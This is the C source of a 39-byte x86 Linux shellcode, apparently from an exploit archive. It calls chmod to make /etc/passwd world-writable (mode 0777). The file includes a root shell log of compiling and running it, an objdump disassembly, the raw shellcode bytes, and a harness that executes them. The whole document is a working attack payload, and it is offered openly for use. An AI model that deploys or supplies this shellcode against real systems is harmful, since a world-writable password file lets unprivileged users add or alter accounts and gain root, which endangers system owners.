/*
Title  : change mode 0777 of "/etc/passwd" with sys_chmod syscall
Name   : 39 bytes sys_chmod("/etc/passwd",599) x86 linux shellcode
Date   : may, 31 2009
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : devilzc0de.com
blog   : gunslingerc0de.wordpress.com
tested on : linux debian
*/

/*
root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd
-rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd
root@localhost:/home/gunslinger/shellcode# gcc -o chmod chmod.c
chmod.c: In function ‘main’:
chmod.c:37: warning: incompatible implicit declaration of built-in function ‘strlen’
root@localhost:/home/gunslinger/shellcode# ./chmod
Length: 39
root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd
-rwxrwxrwx 1 root root 1869 2010-05-08 15:53 /etc/passwd
root@localhost:/home/gunslinger/shellcode# chmod 644 /etc/passwd
root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd
-rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd
root@localhost:/home/gunslinger/shellcode# objdump -d chmod

chmod:     file format elf32-i386


Disassembly of section .text:

08048060 <.text>:
 8048060:  eb 15                  jmp    0x8048077
 8048062:  31 c0                  xor    %eax,%eax
 8048064:  b0 0f                  mov    $0xf,%al
 8048066:  5b                     pop    %ebx
 8048067:  31 c9                  xor    %ecx,%ecx
 8048069:  66 b9 ff 01            mov    $0x1ff,%cx
 804806d:  cd 80                  int    $0x80
 804806f:  31 c0                  xor    %eax,%eax
 8048071:  b0 01                  mov    $0x1,%al
 8048073:  31 db                  xor    %ebx,%ebx
 8048075:  cd 80                  int    $0x80
 8048077:  e8 e6 ff ff ff         call   0x8048062
 804807c:  2f                     das    
 804807d:  65                     gs
 804807e:  74 63                  je     0x80480e3
 8048080:  2f                     das    
 8048081:  70 61                  jo     0x80480e4
 8048083:  73 73                  jae    0x80480f8
 8048085:  77 64                  ja     0x80480eb
root@localhost:/home/gunslinger/shellcode#
*/

#include <stdio.h>

char sc[] = "\xeb\x15\x31\xc0\xb0\x0f\x5b\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";

int main(void)
{
         fprintf(stdout,"Length: %d\n",strlen(sc));
  (*(void(*)()) sc)();
     
return 0;
}